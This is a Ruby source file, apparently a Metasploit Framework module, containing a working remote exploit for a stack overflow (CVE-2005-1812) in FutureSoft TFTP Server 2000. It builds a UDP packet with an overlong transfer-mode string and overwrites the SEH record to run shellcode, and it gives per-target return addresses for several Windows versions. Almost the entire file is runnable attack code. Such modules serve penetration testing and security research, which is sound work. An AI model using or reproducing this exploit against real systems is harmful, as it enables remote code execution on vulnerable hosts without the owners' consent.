94 lines
2.4 KiB
Ruby
94 lines
2.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the FutureSoft TFTP Server
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2000 product. By sending an overly long transfer-mode string, we were able
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to overwrite both the SEH and the saved EIP. A subsequent write-exception
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that will occur allows the transferring of execution to our shellcode
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via the overwritten SEH. This module has been tested against Windows
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2000 Professional and for some reason does not seem to work against
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Windows 2000 Server (could not trigger the overflow at all).
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},
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'Author' => 'MC',
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2005-1812'],
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['OSVDB', '16954'],
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['BID', '13821'],
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['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 350,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4} ], # ws2help.dll
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['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad} ], # ws2help.dll
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['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799} ], # ws2help.dll
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['Windows 2003 Server English', { 'Ret' => 0x7ffc0638} ], # PEB return
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],
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'Privileged' => true,
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'DisclosureDate' => 'May 31 2005'))
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register_options(
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[
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Opt::RPORT(69)
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], self.class)
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end
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def exploit
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connect_udp
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print_status("Trying target #{target.name}...")
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sploit = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"
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sploit += rand_text_english(167, payload_badchars)
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seh = generate_seh_payload(target.ret)
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sploit[157, seh.length] = seh
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sploit += "\x00"
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udp_sock.put(sploit)
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handler
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disconnect_udp
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end
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end
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